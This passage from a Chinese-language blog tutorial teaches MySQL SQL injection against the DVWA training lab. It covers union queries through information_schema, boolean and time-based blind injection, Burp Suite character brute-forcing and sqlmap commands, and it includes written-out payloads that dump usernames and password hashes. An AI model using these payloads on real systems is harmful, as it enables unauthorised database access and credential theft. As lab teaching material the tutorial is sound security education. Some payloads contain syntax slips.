alt=\"1745894951227-c19d76b9-232a-4deb-89c8-142124bb0a67.png\" \/><\/p>\n<p>\u628a\u6570\u636e\u66ff\u6362\u6210mysql\u51fd\u6570\u4f8b\u5982md5(1)\u4f1a\u5728\u9875\u9762\u8fd4\u56de1\u7684md5\u52a0\u5bc6\u4fe1\u606f<\/p>\n<p>\u4f7f\u7528\u8fd9\u4e2a\u51fd\u6570\u4e00\u822c\u662f\u73ed\u5e3d\u5b50\u626b\u63cf\u5668\u7684\u5339\u914d\u5b58\u5728\u6f0f\u6d1e\u7684\u7279\u5f81\u7801<\/p>\n<p>-1&#8242; union select 1,md5(1) &#8211;+<\/p>\n<p><img loading="lazy" decoding="async" decoding=\"async\"  src=\"https:\/\/www.youvii.site\/wp-content\/themes\/lolimeow-lolimeowV13.13\/assets\/images\/loading.gif\" data-src=\"https:\/\/cdn.picui.cn\/vip\/2025\/10\/24\/68fae5ce476a4.png\" class=\"lazy\" loading=\"lazy\" alt=\"1745895041785-280b6525-e4d9-45b7-9d92-f9d052738d0f.png\" \/><\/p>\n<p>\u63a5\u7740\u83b7\u53d6mysql\u7248\u672c\uff0c\u5f53\u524d\u7528\u6237\u6743\u9650\uff0c\u5f53\u524d\u6570\u636e\u5e93<\/p>\n<p>version()<\/p>\n<p>database()<\/p>\n<p>user()<\/p>\n<p>group_concat()\u5206\u7ec4\u6253\u5370\u5b57\u7b26\u4e32<\/p>\n<p>\u628a\u51fd\u6570\u76f4\u63a5\u66ff\u6362\u6570\u5b57\u67e5\u770b\u9875\u9762<\/p>\n<p>-1&#8242; union select 1,version() &#8211;+<\/p>\n<p><img loading="lazy" decoding="async" decoding=\"async\"  src=\"https:\/\/www.youvii.site\/wp-content\/themes\/lolimeow-lolimeowV13.13\/assets\/images\/loading.gif\" data-src=\"https:\/\/cdn.picui.cn\/vip\/2025\/10\/24\/68fae5d0b18b4.png\" class=\"lazy\" loading=\"lazy\" alt=\"1745895361604-a586555b-83bf-4d87-89a1-74aff1454dfb.png\" \/><\/p>\n<p><img loading="lazy" decoding="async" decoding=\"async\"  src=\"https:\/\/www.youvii.site\/wp-content\/themes\/lolimeow-lolimeowV13.13\/assets\/images\/loading.gif\" data-src=\"https:\/\/cdn.picui.cn\/vip\/2025\/10\/24\/68fae5d2eb5a4.png\" class=\"lazy\" loading=\"lazy\" alt=\"1745896278765-63da0fb7-3468-4482-a03d-43f41adc9117.png\" \/><\/p>\n<p><img loading="lazy" decoding="async" decoding=\"async\"  src=\"https:\/\/www.youvii.site\/wp-content\/themes\/lolimeow-lolimeowV13.13\/assets\/images\/loading.gif\" data-src=\"https:\/\/cdn.picui.cn\/vip\/2025\/10\/24\/68fae5d54c784.png\" class=\"lazy\" loading=\"lazy\" alt=\"1745896326282-04956620-679a-48e3-93dd-2350315c2f4c.png\" \/><\/p>\n<p><img loading="lazy" decoding="async" decoding=\"async\"  src=\"https:\/\/www.youvii.site\/wp-content\/themes\/lolimeow-lolimeowV13.13\/assets\/images\/loading.gif\" data-src=\"https:\/\/cdn.picui.cn\/vip\/2025\/10\/24\/68fae5d72803b.png\" class=\"lazy\" loading=\"lazy\" alt=\"1745896446213-25c196be-6f1a-4e96-a5bd-0bca98d856c2.png\" \/><\/p>\n<h2>\u8054\u5408\u67e5\u8be2\u6ce8\u5165\u901a\u8fc7information_schema\u83b7\u53d6\u8868<\/h2>\n<p>\u5728\u9ed1\u76d2\u60c5\u51b5\u4e0b\u4e0d\u77e5\u9053\u5f53\u524d\u5e93\u6709\u4ec0\u4e48\u8868\uff0c\u901a\u8fc7mysql\u81ea\u5e26\u7684information_schema\u67e5\u8be2\u5f53\u524d\u5e93\u7684\u8868<\/p>\n<p>\u67e5\u8be2\u5f53\u524d\u5e93\u7684\u8868 limit 1 \u76f8\u5f53\u4e8e 1\u8868\u793a\u663e\u793a\u7b2c\u4e00\u4e2a \u6539\u62102\u5c31\u662f\u7b2c\u4e8c\u4e2a<\/p>\n<p>\u7b2c\u4e00\u4e2a\u8868\uff1a<\/p>\n<p>-1&#8242; union select 1,(select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA=database() limit 1 )&#8211;+<\/p>\n<p>\u7b2c\u4e8c\u4e2a\u8868\uff1a<\/p>\n<p>-1&#8242; union select 1,(select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA=database() limit 1,2)&#8211;+<\/p>\n<details class=\"lake-collapse\">\n<summary id=\"u07c5e7e7\"><strong><span class=\"ne-text\" style=\"color: rgb(51, 51, 51)\">SQL\u6ce8\u5165\u62a5\u9519\uff1aIllegal mix of collations for operation \u2018UNION\u2018 <\/span><\/strong><\/summary>\n<p id=\"u96a673ef\" class=\"ne-p\"><span class=\"ne-text\" style=\"color: rgb(77, 77, 77); font-size: 16px\">\u67e5\u770b\u6570\u636e\u5e93\u53d1\u73b0\uff0c\u51fa\u73b0\u8fd9\u4e2a\u95ee\u9898\u662f\u56e0\u4e3ainformation_schema\u6570\u636e\u5e93\u91cc\u9762\u90fd\u662futf8_general_ci,\u800c\u9776\u573a\u7f51\u7ad9user\u8868\u4e2d\u7684\u6570\u636e\u90fd\u662futf8_unicode_ci\u3002\u5c06user\u8868\u4e2d\u66f4\u6539\u4e3a\u4e0einformation_schema\u4e00\u6837\u7684\u5c31\u53ef\u4ee5\u4e86\u3002<\/span><\/p>\n<p id=\"u52af4815\" class=\"ne-p\"><img loading="lazy" decoding="async" decoding=\"async\"  src=\"https:\/\/www.youvii.site\/wp-content\/themes\/lolimeow-lolimeowV13.13\/assets\/images\/loading.gif\" data-src=\"https:\/\/cdn.picui.cn\/vip\/2025\/10\/24\/68fae63f8adbe.png\" class=\"lazy\" loading=\"lazy\" width=\"616.9811653810806\" id=\"wC7Xo\" class=\"ne-image\"><\/p>\n<\/details>\n<p><img loading="lazy" decoding="async" decoding=\"async\"  src=\"https:\/\/www.youvii.site\/wp-content\/themes\/lolimeow-lolimeowV13.13\/assets\/images\/loading.gif\" data-src=\"https:\/\/cdn.picui.cn\/vip\/2025\/10\/24\/68fae5d9555d8.png\" class=\"lazy\" loading=\"lazy\" alt=\"1745897854578-aa25b160-02c1-44ed-9407-a1959f2bf9c3.png\" \/><\/p>\n<h2>\u8054\u5408\u67e5\u8be2\u6ce8\u5165\u901a\u8fc7information_schema\u83b7\u53d6\u5b57\u6bb5<\/h2>\n<p>\u540c\u6837\u7684\u67e5\u8be2\u5b57\u6bb5\u4e5f\u53ef\u4ee5\u901a\u8fc7\u5185\u7f6e\u5e93information_schema\u91cc\u7684COLUMNS\u8fd9\u4e2a\u8868\u8bb0\u5f55\u6240\u6709\u8868\u7684\u5b57\u6bb5\uff0c\u901a\u8fc7COLUMNS\u67e5\u8be2users\u8868\u7684\u5b57\u6bb5<\/p>\n<p>\u83b7\u53d6user\u8868\u7b2c\u4e00\u4e2a\u5b57\u6bb5\u540d<\/p>\n<p>-1&#8242; union select 1,(select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME=&#8217;users&#8217; limit 1)) &#8211;+<\/p>\n<p>\u83b7\u53d6user\u8868\u7b2c\u4e8c\u4e2a\u5b57\u6bb5\u540d<\/p>\n<p>-1&#8242; union select 1,(select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME=&#8217;users&#8217; limit 2,1)) &#8211;+<\/p>\n<p>\u83b7\u53d6user\u8868\u7b2c\u4e09\u4e2a\u5b57\u6bb5\u540d<\/p>\n<p>-1&#8242; union select 1,(select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME=&#8217;users&#8217; limit 3,1)) &#8211;+<\/p>\n<h2>\u901a\u8fc7\u8054\u5408\u67e5\u8be2\u8868\u91cc\u7684\u5185\u5bb9<\/h2>\n<p>\u901a\u8fc7\u4ee5\u4e0a\u9ed1\u76d2\u67e5\u8be2\uff0c\u83b7\u53d6\u5e93\u540d\uff0c\u8868\u540d\uff0c\u5b57\u6bb5\uff0c\u90a3\u4e48\u5c31\u53ef\u4ee5\u67e5\u8be2\u67d0\u4e2a\u8868\u7684\u5185\u5bb9<\/p>\n<p>-1&#8242; union select 1,(select group_concat(user,0x3A,password) from users limit 1)&#8211;+<\/p>\n<p><img loading="lazy" decoding="async" decoding=\"async\"  src=\"https:\/\/www.youvii.site\/wp-content\/themes\/lolimeow-lolimeowV13.13\/assets\/images\/loading.gif\" data-src=\"https:\/\/cdn.picui.cn\/vip\/2025\/10\/24\/68fae5db9e3e5.png\" class=\"lazy\" loading=\"lazy\" alt=\"1745898006196-b9753cd3-ee79-4650-88b7-ade412ffbf96.png\" \/><\/p>\n<h1>\u5e03\u5c14\u578b\u6ce8\u5165<\/h1>\n<p>\u5728\u9875\u9762\u4e0d\u4f1a\u663e\u793a\u6570\u636e\u5e93\u4fe1\u606f\uff0c\u4e00\u822c\u60c5\u51b5\u4e0b\u53ea\u4f1a\u663e\u793a\u5bf9\u4e0e\u9519\u7684\u5185\u5bb9<\/p>\n<p>\u63a5\u6536id\u7684\u503c\uff0c\u76f4\u63a5\u5e26\u5165\u67e5\u8be2\uff0c\u5982\u679c\u5b58\u5728\u5373\u8fd4\u56de users is exists in the database<\/p>\n<p>\u5426\u5219\u663e\u793ausers id is missing\u8fd9\u79cd\u53ea\u6709\u6b63\u786e\u4e0e\u9519\u8bef\u9875\u9762\uff0c\u9875\u9762\u4e0d\u4f1a\u663e\u793a\u6570\u636e\u5e93\u91cc\u4efb\u4f55\u5185\u5bb9\uff0c\u5982\u679c\u5b58\u5728\u6ce8\u5165 \u79f0\u4e3a\u76f2\u6ce8\u5165<\/p>\n<p>\u76f2\u6ce8\u65b9\u5f0f\u6709\u4e24\u79cd\uff1a\u4e00\u79cd\u662f\u5e03\u5c14\u578b\u76f2\u6ce8 \u4e00\u79cd\u662f\u5ef6\u65f6\u6ce8\u5165<\/p>\n<h2>\u5224\u65ad\u76f2\u6ce8\u5165<\/h2>\n<p>\u8f93\u5165SQL\u6ce8\u5165\u68c0\u6d4b\u8bed\u53e5\u5224\u65ad\u9875\u9762\u662f\u5426\u4e0d\u4e00\u6837\uff0c\u5982\u679c\u4e0d\u4e00\u6837\u5927\u6982\u4f1a\u5b58\u5728SQL\u6ce8\u5165\u6f0f\u6d1e1&#8242; and&#8217;1&#8217;=&#8217;1\u4e00\u6837 1&#8242; and &#8216;1&#8217;=&#8217;2\u4e0d\u4e00\u6837\uff0c\u5982\u679c\u8f93\u5165\u68c0\u6d4b\u8bed\u53e5\u9875\u9762\u6ca1\u6709\u4efb\u4f55\u6539\u53d8\u53ef\u4ee5\u4f7f\u7528\u5ef6\u65f6\u8bed\u53e5\u8fdb\u884c\u68c0\u6d4b\uff0c1&#8242; and sleep(10)&#8211;+ <\/p>\n<p>\u51fd\u6570sleep()\u5728mysql\u662f\u5ef6\u65f6\u8fd4\u56de\u7684\u610f\u601d \u4ee5\u79d2\u4e3a\u5355\u4f4d<\/p>\n<p><img loading="lazy" decoding="async" decoding=\"async\"  src=\"https:\/\/www.youvii.site\/wp-content\/themes\/lolimeow-lolimeowV13.13\/assets\/images\/loading.gif\" data-src=\"https:\/\/cdn.picui.cn\/vip\/2025\/10\/24\/68fae5dd6bff0.png\" class=\"lazy\" loading=\"lazy\" alt=\"1745914038177-4e00c625-3757-4f25-a6bb-206290cb86e8.png\" \/><\/p>\n<p>\u901a\u8fc7\u8fd9\u4e24\u4e2a\u68c0\u6d4b\u65b9\u6cd5\u5224\u65ad \u53ef\u4ee5\u786e\u5b9a\u5b58\u5728SQL\u6ce8\u5165\u6f0f\u6d1e<\/p>\n<p><img loading="lazy" decoding="async" decoding=\"async\"  src=\"https:\/\/www.youvii.site\/wp-content\/themes\/lolimeow-lolimeowV13.13\/assets\/images\/loading.gif\" data-src=\"https:\/\/cdn.picui.cn\/vip\/2025\/10\/24\/68fae5df8b185.png\" class=\"lazy\" loading=\"lazy\" alt=\"1745914304662-3908cc05-7608-41a6-b7d8-29a853805df8.png\" \/><\/p>\n<h2>boolean\u5e03\u5c14\u578b\u6ce8\u5165\u653b\u51fb<\/h2>\n<p>\u56e0\u4e3a\u9875\u9762\u4e0d\u4f1a\u8fd4\u56de\u4efb\u4f55\u6570\u636e\u5e93\u5185\u5bb9\uff0c\u6240\u4ee5\u4e0d\u80fd\u4f7f\u7528\u8054\u5408\u67e5\u8be2\u5c06\u654f\u611f\u4fe1\u606f\u663e\u793a\u5728\u9875\u9762\uff0c\u4f46\u662f\u53ef\u4ee5\u901a\u8fc7\u6784\u9020SQL\u8bed\u53e5\u83b7\u53d6\u6570\u636e<\/p>\n<p>\u5e03\u5c14\u578b\u76f2\u4f4f\u7528\u5230SQL\u8bed\u53e5<\/p>\n<p>select if(1=1,1,0)  <\/p>\n<p>if()\u51fd\u6570\u5728mysql\u4e0a\u5224\u65ad\uff0c\u7b2c\u4e00\u4e2a\u53c2\u6570\u8868\u8fbe\u5f0f\u5982\u679c\u6761\u4ef6\u6574\u7406 \u4f1a\u663e\u793a1\uff0c\u5426\u5219\u663e\u793a0<\/p>\n<p>1=1\u8868\u8fbe\u5f0f\u53ef\u4ee5\u6362\u5c42\u6784\u9020\u7684SQL\u653b\u51fb\u8bed\u53e5<\/p>\n<p>1&#8242; and if(1=1,1,0)&#8211;+ \u9875\u9762\u8fd4\u56de\u6b63\u5e38\uff0c\u8fd9\u4e2a\u8bed\u53e5\u5b9e\u9645\u4e0a\u662f1&#8242; and 1 <\/p>\n<p>\u771fand\u771f \u7ed3\u679c\u4e3a\u771f <\/p>\n<p>1\u662f\u5b58\u5728\u8bb0\u5f55\u7684\uff0c\u6240\u4ee5\u8fd4\u56de\u6b63\u786e\u9875\u9762<\/p>\n<p><img loading="lazy" decoding="async" decoding=\"async\"  src=\"https:\/\/www.youvii.site\/wp-content\/themes\/lolimeow-lolimeowV13.13\/assets\/images\/loading.gif\" data-src=\"https:\/\/cdn.picui.cn\/vip\/2025\/10\/24\/68fae5e1745b6.png\" class=\"lazy\" loading=\"lazy\" alt=\"1745914614957-3a7116f5-1bde-4489-bd8f-50d2cbaf8549.png\" \/><\/p>\n<h2>\u5e03\u5c14\u578b\u76f2\u6ce8\u83b7\u53d6\u6570\u636e\u5e93\u654f\u611f\u4fe1\u606f<\/h2>\n<p>\u5728\u9ed1\u76d2\u6d4b\u8bd5\u73af\u5883\u4e0b\uff0c\u6784\u9020SQL\u6ce8\u5165\u8bed\u53e5 \u6839\u636e\u9875\u9762\u7279\u5f81\u786e\u5b9a\u83b7\u53d6\u654f\u611f\u4fe1\u606f\uff0c\u5e03\u5c14\u578b\u76f2\u6ce8\u7528\u5230\u7684\u51fd\u6570<\/p>\n<p>SUBSTRING()\u5b57\u7b26\u4e32\u622a\u53d6 \uff0c\u7b2c\u4e00\u4e2a\u53c2\u6570\u5565\u5b57\u7b26\u4e32\uff0c\u7b2c\u4e8c\u4e2a\u53c2\u6570\u662f\u5f00\u59cb\u622a\u53d6\uff0c\u7b2c\u4e09\u4e2a\u662f\u622a\u53d6\u7684\u957f\u5ea6<\/p>\n<p>select database()\u67e5\u8be2\u5f53\u524d\u5e93<\/p>\n<p>select substring(database(),1,3)<\/p>\n<p>1&#8242; and if(substring(database(),1,1)=&#8217;d&#8217;,1,0)<\/p>\n<p>\u901a\u8fc7substring\u622a\u53d6\u957f\u5ea6<\/p>\n<p>\u63a5\u7740\u518d\u7528if\u51fd\u6570\u8fdb\u884c\u6784\u9020\uff0cselect if(SUBSTRING(database(),1,1)=&#8217;d&#8217;,1,0)\u5224\u65ad\u6570\u636e\u5e93\u7b2c\u4e00\u4e2a\u5b57\u662f\u4e0d\u662f\u5b57\u7b26d \u5982\u679c\u662f\u5219\u8fd4\u56de1 \u4e0d\u662f\u5219\u8fd4\u56de0<\/p>\n<p>\u63a5\u7740\u5224\u65ad\u7b2c\u4e8c\u4e2a\u5b57\u7b26\uff0c\u5c06substring\u7b2c\u4e8c\u4e2a\u53c2\u6570\u6539\u62102\uff0c\u622a\u53d6\u7b2c\u4e8c\u4e2a\u5b57\u7b26\uff0cselect if(substring(database(),2,1)=&#8217;v&#8217;,1,0) \u7b2c\u4e8c\u4e2a\u5b57\u7b26\u4e3av\uff0c\u5982\u6b64\u7c7b\u63a8\uff0c\u6700\u540e\u62fc\u63a5\u5b57\u7b26\u5c31\u662f\u5b8c\u6574\u6570\u636e\u5e93\u540d<\/p>\n<h2>\u5728\u9ed1\u76d2\u6a21\u5f0f\u4e0b\u5e03\u5c14\u578b\u6ce8\u5165<\/h2>\n<p>\u5728\u9ed1\u76d2\u6a21\u5f0f\u4e0b\u8fdb\u884c\u6d4b\u8bd5\u9996\u5148\u5224\u65ad\u6ce8\u5165\uff0c\u5224\u65ad\u5b8c\u6ce8\u5165\u5c31\u83b7\u53d6\u6570\u636e\u5e93\u7684\u957f\u5ea6\uff0c\u5f97\u5230\u957f\u5ea6\u518d\u67e5\u8be2\u5e93\u540d\uff0c\u901a\u8fc7\u5e93\u540d\u67e5\u8be2\u8868\uff0c\u63a5\u7740\u901a\u8fc7\u8868\u67e5\u8be2\u5b57\u6bb5\uff0c\u6700\u540e\u67e5\u8be2\u67d0\u8868\u6307\u5b9a\u7684\u6570\u636e<\/p>\n<h2>\u5e03\u5c14\u578b\u76f2\u6ce8\u67e5\u8be2\u957f\u5ea6<\/h2>\n<p>\u8981\u67e5\u8be2\u5f53\u524d\u5e93\u540d\uff0c\u9996\u5148\u786e\u5b9a\u67e5\u8be2\u6570\u636e\u5e93\u7684\u957f\u5ea6\uff0c\u518d\u901a\u8fc7\u622a\u53d6\u5b57\u7b26\u8fdb\u884c\u5bf9\u6bd4<\/p>\n<p>1&#8242; and if(length(database())=4,1,0) &#8211;+<img loading="lazy" decoding="async" decoding=\"async\"  src=\"https:\/\/www.youvii.site\/wp-content\/themes\/lolimeow-lolimeowV13.13\/assets\/images\/loading.gif\" data-src=\"https:\/\/cdn.picui.cn\/vip\/2025\/10\/24\/68fae5e3870d8.png\" class=\"lazy\" loading=\"lazy\" alt=\"1745916330063-77d7866f-776e-4cc5-9a3c-cf8a869b69fc.png\" \/><\/p>\n<p>\u786e\u5b9a\u6570\u636e\u5e93\u540d\u957f\u5ea6<\/p>\n<p>\u8981\u51fa\u6570\u636e \u7528substring\u51fd\u6570\u5224\u65ad\u7b2c\u4e00\u4e2a\u5b57\u7b26 \u7b2c\u4e8c\u4e2a\u5b57\u7b26 \u770b\u56de\u663e<\/p>\n<p>0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz.@_<\/p>\n<p>\u6bcf\u6b21\u90fd\u8981\u4e0e\u8fd9\u4e9b\u5b57\u7b26\u8fdb\u884c\u5224\u65ad\uff0c\u6700\u540e\u5f97\u5230d<\/p>\n<p>1&#8242; and if(substring(database(),1,1)=&#8217;d&#8217;,1,0)<\/p>\n<h2>\u5e03\u5c14\u578b\u76f2\u6ce8\u4e0eBurpsuite\u914d\u5408\u83b7\u53d6\u6570\u636e<\/h2>\n<pre class=\"prettyprint linenums\" ><code class=\"language-plsql\">0\n1\n2\n3\n4\n5\n6\n7\n8\n9\nA\nB\nC\nD\nE\nF\nG\nH\nI\nJ\nK\nL\nM\nN\nO\nP\nQ\nR\nS\nT\nU\nV\nW\nX\nY\nZ\na\nb\nc\nd\ne\nf\ng\nh\ni\nj\nk\nl\nm\nn\no\np\nq\nr\ns\nt\nu\nv\nw\nx\ny\nz\n.\n@\n_<\/code><\/pre>\n<p><img loading="lazy" decoding="async" decoding=\"async\"  src=\"https:\/\/www.youvii.site\/wp-content\/themes\/lolimeow-lolimeowV13.13\/assets\/images\/loading.gif\" data-src=\"https:\/\/cdn.picui.cn\/vip\/2025\/10\/24\/68fae5e681c3d.png\" class=\"lazy\" loading=\"lazy\" alt=\"1745917336531-59c49f5e-fe05-46d1-859d-173436e8d01f.png\" \/><\/p>\n<p><img loading="lazy" decoding="async" decoding=\"async\"  src=\"https:\/\/www.youvii.site\/wp-content\/themes\/lolimeow-lolimeowV13.13\/assets\/images\/loading.gif\" data-src=\"https:\/\/cdn.picui.cn\/vip\/2025\/10\/24\/68fae5e9076fe.png\" class=\"lazy\" loading=\"lazy\" alt=\"1745917346725-ad29ae08-d0c7-4c83-8e53-af571c78d89e.png\" \/><\/p>\n<p><img loading="lazy" decoding="async" decoding=\"async\"  src=\"https:\/\/www.youvii.site\/wp-content\/themes\/lolimeow-lolimeowV13.13\/assets\/images\/loading.gif\" data-src=\"https:\/\/cdn.picui.cn\/vip\/2025\/10\/24\/68fae5eb296ac.png\" class=\"lazy\" loading=\"lazy\" alt=\"1745917450026-3412eb3d-b1a6-4f32-b303-9645583878c1.png\" \/><\/p>\n<p>\u6570\u636e\u5e93\u540d dvwa<\/p>\n<p>\u5f97\u5230\u5e93\u540d\u63a5\u7740\u83b7\u53d6\u8868\u540d<\/p>\n<p>1&#8217;and if(substring((select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA=database() limit 1),<code>1<\/code>,1)=&#8217;<code>g<\/code>&#8216;,1,0)&#8211;+<\/p>\n<p>\u6293\u5305\u5206\u522b\u8bbe\u7f6e\u5355\u4e2a\u53d8\u91cf<\/p>\n<p><img loading="lazy" decoding="async" decoding=\"async\"  src=\"https:\/\/www.youvii.site\/wp-content\/themes\/lolimeow-lolimeowV13.13\/assets\/images\/loading.gif\" data-src=\"https:\/\/cdn.picui.cn\/vip\/2025\/10\/24\/68fae5ed16797.png\" class=\"lazy\" loading=\"lazy\" alt=\"1745918596372-fe53dfbd-bb12-4bd8-bd67-b6a0bf4cbf1c.png\" \/><\/p>\n<p><img loading="lazy" decoding="async" decoding=\"async\"  src=\"https:\/\/www.youvii.site\/wp-content\/themes\/lolimeow-lolimeowV13.13\/assets\/images\/loading.gif\" data-src=\"https:\/\/cdn.picui.cn\/vip\/2025\/10\/24\/68fae5ef244fb.png\" class=\"lazy\" loading=\"lazy\" alt=\"1745919379341-e16029c2-38ba-4a90-abef-2aa872139ca1.png\" \/><\/p>\n<p>\u5f97\u5230\u8868\u540dguestbook<\/p>\n<p>\u83b7\u53d6\u7b2c\u4e8c\u4e2a\u8868\u540d<\/p>\n<p>1&#8217;and if(substring((select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA=database() limit 1,<code>2<\/code>),1,1)=&#8217;g&#8217;,1,0)&#8211;+<\/p>\n<p>\u83b7\u53d6\u5b57\u6bb5\u540d<\/p>\n<p>1&#8217;and if(substring(select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME=&#8217;users&#8217; limit <code>1<\/code>,1)<code>1<\/code>,1)=&#8217;<code>u<\/code>&#8216;,1,0)&#8211;+<\/p>\n<p>\u83b7\u53d6users\u8868\u5b57\u6bb5 \u6700\u540e\u83b7\u53d6\u8d26\u53f7\u5bc6\u7801<\/p>\n<p>\u9996\u5148\u5224\u65ad\u67e5\u8be2\u8d26\u53f7\u548c\u5bc6\u7801\u7684\u957f\u5ea6<\/p>\n<p>1&#8242; and if(select length(concat(user,0x3a,PASSWORD))from users limit 1)=38,1,0)&#8211;+<\/p>\n<p>\u4f7f\u7528burpsuite\u83b7\u53d6\u8d26\u53f7\u548c\u5bc6\u7801<\/p>\n<p>1&#8242; and if(substring(select concat(user,0x3a,PASSWORD)from users limit 1)1,1)=&#8217;a&#8217;,1,0)&#8211;+<\/p>\n<p>burpsuite\u6293\u5305\u4fee\u6539\u503c \u63d0\u4ea4\u6d4b\u8bd5<\/p>\n<p>\u5f97\u5230\u8d26\u53f7\u5bc6\u7801<\/p>\n<p>\u6700\u540e\u6574\u7406\u5f97\u51fa\u7ed3\u679c admin:5f4dcc3b5aa765d61d8327deb882cf99<\/p>\n<h2>\u62a5\u9519\u6ce8\u5165<\/h2>\n<p>\u6570\u636e\u5e93\u663e\u9519\u662f\u6307 \u6570\u636e\u5e93\u5728\u6267\u884c\u65f6\uff0c\u9047\u5230\u8bed\u6cd5\u4e0d\u5bf9\uff0c\u4f1a\u663e\u793a\u62a5\u9519\u4fe1\u606f\uff0c\u4f8b\u5982\u8bed\u6cd5\u9519\u8bed\u53e5<\/p>\n<p>select&#8217; 11064 -You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near &#8221;&#8217; at line 1<\/p>\n<h1>\u65f6\u95f4\u6ce8\u5165<\/h1>\n<p>\u65f6\u95f4\u6ce8\u5165\u53c8\u53eb\u5ef6\u65f6\u6ce8\u5165\uff0c\u5c5e\u4e8e\u76f2\u6ce8\u4e00\u79cd\uff0c\u901a\u5e38\u662f\u67d0\u4e2a\u6ce8\u5165\u70b9\u65e0\u6cd5\u901a\u8fc7\u5e03\u5c14\u6ce8\u5165\u83b7\u53d6\u6570\u636e\u91c7\u53d6\u7684\u4e00\u79cd\u7a81\u7834\u6ce8\u5165\u6280\u5de7<\/p>\n<p>\u5728mysql\u91cc \u51fd\u6570sleep()\u5565\u5ef6\u65f6\u7684\u610f\u8bc6\uff0csleep(10)\u5c31\u662f\u6570\u636e\u5e93\u5ef6\u65f610\u79d2\u8fd4\u56de\u5185\u5bb9\uff0c\u5224\u65ad\u6ce8\u5165\u53ef\u4ee5\u4f7f\u7528&#8217;and sleep(10)\u6570\u636e\u5e93\u5ef6\u65f610\u79d2\u8fd4\u56de\u503c\uff0c\u7f51\u9875\u54cd\u5e94\u65f6\u95f4\u81f3\u5c11\u898110\u79d2\uff0c\u6839\u636e\u8fd9\u4e2a\u539f\u7406\u6765\u5224\u65ad\u5b58\u5728SQL\u65f6\u95f4\u6ce8\u5165<\/p>\n<p>mysql\u5ef6\u65f6\u6ce8\u5165\u7528\u5230\u7684\u51fd\u6570 <\/p>\n<p>sleep()<\/p>\n<p>if()<\/p>\n<p>substring()<\/p>\n<p>select if(2&gt;1,sleep(10),0) 2&gt;1 \u8fd9\u4e2a\u90e8\u5206\u5c31\u662f\u6ce8\u5165\u8981\u6784\u9020\u7684SQL\u8bed\u53e5<\/p>\n<p>select if(length(database())&gt;1,sleep(5),0)\u8fd9\u662f\u67e5\u8be2\u5f53\u524d\u5e93\u5927\u4e8e1\u5c31\u4f1a\u5ef6\u65f65\u79d2\u6267\u884c<\/p>\n<p>-\u00b7&#8217; or if(length(database())&gt;1,sleep(5),0)&#8211;+\u53ef\u4ee5\u770b\u5230\u7f51\u9875\u662f\u5927\u4e8e\u4e94\u79d2\u8fd4\u56de\uff0c\u6839\u636e\u8fd9\u4e2a\u5224\u65ad\u6570\u636e\u5e93\u540d\u957f\u5ea6\u5927\u4e8e1\uff0c\u5f53&gt;n\u65f6 \u957f\u5ea6\u4e3an-1<\/p>\n<p>\u5982\u679c\u60f3\u8981\u83b7\u53d6\u6570\u636e\u5185\u5bb9\uff0c\u53ef\u4ee5\u7528\u622a\u53d6\u5b57\u7b26\u518d\u8fdb\u884c\u5b57\u7b26\u5bf9\u6bd4\uff0c\u5982\u679c\u76f8\u540c\u5c31\u8fdb\u884c\u5ef6\u65f6\uff0c\u8fd9\u6837\u5c31\u80fd\u83b7\u53d6\u5b57\u7b26\u518d\u62fc\u63a5\u5f53\u524d\u5e93\u5185\u5bb9<\/p>\n<h3>\u65f6\u95f4\u6ce8\u5165\u4ee3\u7801\u5206\u6790<\/h3>\n<p>\u5728\u9875\u9762\u5206\u6790\u6e90\u7801\uff0c\u76f4\u63a5\u83b7\u53d6name\u5e26\u8fdb\u6570\u636e\u5e93\u67e5\u8be2\uff0c\u4f46\u662f\u662f\u5426\u5b58\u5728\u8bb0\u5f55\u9875\u9762\u8fd4\u56de\u90fd\u4e00\u6837<\/p>\n<p>\u5728\u9ed1\u76d2\u6a21\u5f0f\u4e0b\u53ef\u4ee5\u4f7f\u7528sqlmap\u5bf9\u6ce8\u5165\u68c0\u6d4b\uff0csqlmap\u652f\u6301\u591a\u79cd\u6570\u636e\u5e93\u6570\u636e\uff0c\u800c\u4e14\u652f\u6301\u591a\u79cd\u6ce8\u5165\u65b9\u5f0f<\/p>\n<p>\u91c7\u7528\u65f6\u95f4\u6ce8\u5165<\/p>\n<p>sqlmap -u &quot;<a href=\"http:\/\/localhost:80\/DVWA\/vulnerabilities\/sqli_blind\/?id=^&amp;Submit=Submit\">http:\/\/localhost:80\/DVWA\/vulnerabilities\/sqli_blind\/?id=^&amp;Submit=Submit<\/a>&quot; &#8211;technique=T -batch<\/p>\n<p>-u \u8868\u793a\u68c0\u6d4b\u7684url<\/p>\n<p>-p \u6307\u5b9a\u68c0\u6d4b\u53c2\u6570<\/p>\n<p>-v \u663e\u793a\u8c03\u8bd5\u6a21\u5f0f<\/p>\n<p>&#8211;technique =T \u68c0\u6d4b\u65b9\u6cd5\u4e3a\u65f6\u95f4\u6ce8\u5165<\/p>\n<p><img loading="lazy" decoding="async" decoding=\"async\"  src=\"https:\/\/www.youvii.site\/wp-content\/themes\/lolimeow-lolimeowV13.13\/assets\/images\/loading.gif\" data-src=\"https:\/\/cdn.picui.cn\/vip\/2025\/10\/24\/68fae5f1693af.png\" class=\"lazy\" loading=\"lazy\" alt=\"1745925993748-e50242bd-baf5-4752-aa3f-42b7d4281c6b.png\" \/><\/p>\n<p>sqlmap\u68c0\u6d4b\u4e3a\u65f6\u95f4\u6ce8\u5165\uff0c\u63a5\u4e0b\u6765\u901a\u8fc7\u8fd9\u4e2a\u6ce8\u5165\u83b7\u53d6\u6570\u636e\u5e93\u7684\u540d\u3001\u7528\u6237\u6743\u9650\uff0c\u8868\uff0c\u5b57\u6bb5\u7b49\u654f\u611f\u4fe1\u606f\u7684\u83b7\u53d6<\/p>\n<p>&#8211;current-user \u83b7\u53d6\u7528\u6237<\/p>\n<p>&#8211;current-db \u5f53\u524d\u5e93<\/p>\n<p>&#8211;batch \u4f7f\u7528\u9ed8\u8ba4\u6a21\u5f0f 